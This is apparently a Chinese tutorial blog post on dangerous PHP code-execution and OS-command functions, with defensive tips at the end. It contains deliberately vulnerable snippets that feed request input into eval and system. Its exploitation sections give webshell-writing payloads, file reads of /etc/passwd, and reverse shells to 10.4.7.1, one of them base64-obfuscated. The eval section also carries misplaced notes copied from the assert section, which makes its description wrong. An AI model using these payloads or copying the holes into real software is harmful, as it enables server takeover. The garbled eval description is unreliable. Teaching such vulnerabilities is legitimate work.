尊敬的读者们,PHP是一种广泛使用的服务器端编程语言,但同时也存在一些危险函数,可能导致安全漏洞。在本文中,我们将解析一些PHP中常见的危险函数,并提供一些建议来保护您的代码安全。
PHP 代码执行语句
1)eval 语句
eval() 会将符合PHP 语法规范字符串当作php 代码执行。
说明
-
assert() 只能执行单条PHP 语句。
-
assert() 是一个函数,可以动态调用。
-
高版本PHP 中,assert() 被弃用。
一句话木马原型。
虽然可以以函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束。
代码示例
$code = $_REQUEST['code'];
eval($code);

2)assert 函数
assert() 会将字符串当做PHP 代码来执行。
说明
-
assert() 只能执行单条PHP 语句。
-
assert() 是一个函数,可以动态调用。
-
高版本PHP 中,assert() 被弃用。
代码示例
// assert.php
// $code = "phpinfo();";
$code = $_REQUEST['code'];
// var_dump($code);
assert($code);
3)preg_replace 函数
preg_replace() 函数的作用是对字符串进行正则匹配后替换。
说明
-
preg_replace() 函数中第一个参数是正则表达式,e 是正则表达式的修饰符。
代码示例
$code = preg_replace('~i~', 'I', 'xiu');
$code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');
echo $code;

4)call_user_func
用于调用用户指定的可调用函数
<?php
// call_user_func.php
$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);

5)array_map
为数组的每个元素应用回调函数
例如,有一个数组 arr1=array(1,2,3,4,5);arr1=array(1,2,3,4,5); 我们想要将每个数加上2并存储到另一个数组 arr2 中,可以使用 array_map:
代码示例
// array_map.php
$func = "assert";
$arg[] = "phpinfo();";
array_map($func, $arg);
6)动态函数
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
代码示例
<?php
// dynamic_function.php
$code = "phpinfo();";
$func = "assert";
$func($code); // assert(phpinfo());
OS 命令执行函数
1)system 函数
说明
-
自带输出功能。
-
自动区分系统平台。
代码示例
// system.php
// $cmd = "net user";
$cmd = $_REQUEST['cmd'];
system($cmd);

2)exec 函数
函数特点
-
需要输出命令执行结果。
-
只输出命令执行结果的最后一行,约等于没有回显。
代码示例
// exec.php
// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];
echo exec($cmd);

3)shell_exec 函数
说明
-
需要输出命令执行结果。
代码示例
// shell_exec.php
// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];
echo shell_exec($cmd);

4)passthru 函数
说明
-
自带输出功能。
代码示例
// passthru.php
// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];
passthru($cmd);

5)popen 函数
说明
-
函数返回值为文件指针,可以简单理解为文件名。
代码示例
// popen.php
$cmd = $_REQUEST['cmd'];
$result = popen($cmd, 'r');
echo fread($result, 1024);

6)反引号
反引号` 内的字符串,会被解析成OS 命令。
代码示例
// ``.php
$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
RCE
PHP 代码注入
原理
传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。
危害
Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。
如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
漏洞利用
代码执行漏洞的利用方式有很多种。
获取Shell,菜刀可以直接连接。
shell: http://127.0.0.1/eval.php pass: code
获取当前文件的绝对路径。
?code=print(__FILE__);
读文件。
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));
写文件。
?code=file_put_contents('shell.php','<?php phpinfo();?>');
OS 命令注入漏洞
原理
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
漏洞危害
-
继承Web 服务器程序权限,去执行系统命令;
-
继承Web 服务器权限,读写文件;
-
反弹Shell
-
控制整个网站,控制整个服务器。
漏洞利用
OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。
查看系统文件(读)。
?cmd=type c:\windows\system32\drivers\etc\hosts ?cmd=cat /etc/passwd
显示当前路径。
?cmd=cd
写文件。
?cmd=echo ^<^?php phpinfo();^?^> > shell.php ?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php ?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php
执行某一个程序。
?cmd=c:\windows\system32\calc.exe
反弹Shell。
# 本机监听 nc -lnvp 1234 # Linux 下反弹Shell ?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1 ?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash # Windows 反弹Shell ?cmd=nc.exe -e cmd.exe 10.4.7.1 1234
漏洞防御
-
尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
-
preg_replace() 放弃使用e 修饰符。
-
在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
-
参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。
请关注微信公众号
获取最新内容。




4036

被折叠的 条评论
为什么被折叠?



